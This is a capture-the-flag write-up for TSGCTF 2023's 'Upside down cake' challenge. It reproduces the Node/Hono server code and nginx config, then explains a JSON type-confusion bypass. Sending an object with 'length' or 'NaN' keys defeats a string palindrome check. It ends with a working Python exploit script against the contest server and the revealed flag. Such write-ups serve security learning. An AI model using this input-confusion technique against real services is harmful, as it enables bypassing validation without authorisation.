2023 TSGCTF - Upside down cake
Overview
- 100 points / 127 solves
- Author: hakatashi
- tag: warmup
Description
I checked 413 times to see if the settings are correct.
Attached
This is main.mjs
file
import {serve} from '@hono/node-server';
import {serveStatic} from '@hono/node-server/serve-static';
import {Hono} from 'hono';
const flag = process.env.FLAG ?? 'DUMMY{DUMMY}';
const validatePalindrome = (string) => {
if (string.length < 1000) {
return 'too short';
}
for (const i of Array(string.length).keys()) {
const original = string[i];
const reverse = string[string.length - i - 1];
if (original !== reverse || typeof original !== 'string') {
return 'not palindrome';
}
}
return null;
}
const app = new Hono();
app.get('/', serveStatic({root: '.'}));
app.post('/', async (c) => {
const {palindrome} = await c.req.json();
const error = validatePalindrome(palindrome);
if (error) {
c.status(400);
return c.text(error);
}
return c.text(`I love you! Flag is ${flag}`);
});
app.port = 12349;
serve(app);
Analyzation
In this challenge, we have to pass the checker validatePalindrome(palindrome)
to get flag
const validatePalindrome = (string) => {
if (string.length < 1000) {
return 'too short';
}
for (const i of Array(string.length).keys()) {
const original = string[i];
const reverse = string[string.length - i - 1];
if (original !== reverse || typeof original !== 'string') {
return 'not palindrome';
}
}
return null;
}
Firstly, I thought that just post a string length 1000 and get flag. But not so fast like that, check nginx.conf
file
events {
worker_connections 1024;
}
http {
server {
listen 0.0.0.0:12349;
client_max_body_size 100;
location / {
proxy_pass http://app:12349;
proxy_read_timeout 5s;
}
}
}
So we must post a string with length < 100, but bypass the checker. Sounds impossible…
Hmm…
Vulnerability
Who said that only strings are allowed?
Exploitation
We can post an object, or an array. However, arrays won’t work here because they fail to meet the length condition.
We need a data type that doesn’t have a length attribute. An object (also known as a map in C++ or a dictionary in Python) fits this requirement.
Approach 1
With an object, string.length returns undefined, so the condition string.length < 1000 evaluates to true. Pass!
However, there is a problem with the loop: the index string.length - i - 1
is inaccessible.
Slow down a little bit. since string.length - i - 1
equals NaN
, so just give an object attribute NaN
, done!
This is the data will be post to the site.
data = {
"0": "a",
"NaN": "a"
}
payload = { "palindrome": data}
Approach 2
This is an object, so its attributes are accessible by dot operator, too! It tooks me so many time to realise this.
data = {
"0": "a",
"999": "a",
"length": "1000"
}
payload = { "palindrome": data}
Note: Python is different from javascript.
data = {
"0": "a",
"999": "a",
"length": "1000"
}
print(data["length"]) # print 1000
print(len(data)) # print 3
print(data.__len__()) # print 3
Solution
import requests
# URL = "http://localhost:12349/"
URL = "http://34.84.176.251:12349/"
HEADERS = {'Content-Type': 'application/json'}
data = {
"0": "a",
"999": "a",
"length": "1000"
}
payload = { "palindrome": data}
response = requests.post(URL, json=payload, headers=HEADERS)
print(response.content)
The flag is
TSGCTF{pilchards_are_gazing_stars_which_are_very_far_away}